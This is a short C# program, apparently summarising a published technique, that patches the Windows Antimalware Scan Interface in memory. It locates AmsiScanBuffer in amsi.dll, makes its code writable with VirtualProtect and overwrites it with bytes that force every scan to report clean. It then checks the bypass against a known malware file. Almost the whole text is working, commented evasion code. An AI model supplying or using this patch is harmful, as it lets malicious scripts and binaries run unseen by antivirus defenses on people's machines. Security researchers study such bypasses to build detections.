C# Windows Antimalware Scan Interface patching
(example and summary of method presented by
rastamouse)
static void Main(string[] args)
{
// init amsi, get context, create session
AmsiInitialize("TestApp", out IntPtr amsiContext);
AmsiOpenSession(amsiContext, out IntPtr amsiSession);
var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;
// locate amsi
foreach (ProcessModule module in modules)
{
if (module.ModuleName == "amsi.dll")
{
hAmsi = module.BaseAddress;
break;
}
}
var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");
// create byte array representing the instructions
// mov eax, 0x80070057
// ret
// which will force the scan call to return
// an invalidarg result, causing the scan
// result to come back as 0 (clean)
//
// we could also use any arbitrary assembly
// here, which is something i want to explore
// - we could jmp, for instance
var patch = new byte[] {
0xb8, 0x57, 0x00, 0x07, 0x80, 0xc3
};
// make memory writable
VirtualProtect(
asb,
(UIntPtr)patch.Length,
0x40,
out uint oldProtect
);
// overwrite bytes
Marshal.Copy(patch, 0, asb, patch.Length);
// restore previous mem protection mode
VirtualProtect(
asb,
(UIntPtr)patch.Length, oldProtect, out uint _
);
//------------------------------------
// scan to test if AMSI is off
var knownMalware = File.ReadAllBytes(
@"C:\some\malware.exe");
AmsiScanBuffer(
amsiContext,
knownMalware,
(uint)knownMalware.Length,
"Malware",
amsiSession,
out AMSI_RESULT result);
Console.WriteLine(result);
_ = Console.ReadKey();
}
[DllImport("amsi.dll")]
static extern uint AmsiInitialize(
string appName,
out IntPtr amsiContext
);
[DllImport("amsi.dll")]
static extern IntPtr AmsiOpenSession(
IntPtr amsiContext,
out IntPtr amsiSession
);
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(
IntPtr amsiContext,
byte[] buffer,
uint length,
string contentName,
IntPtr session,
out AMSI_RESULT result
);
enum AMSI_RESULT
{
CLEAN = 0,
NOT_DETECTED = 1,
BLOCKED_BY_ADMIN_START = 16384,
BLOCKED_BY_ADMIN_END = 20479,
DETECTED = 32768
}
[DllImport("kernel32.dll")]
internal static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32.dll")]
internal static extern bool VirtualProtect(
IntPtr p,
UIntPtr dwSize,
UInt32 newProtect,
out UInt32 oldProtect
);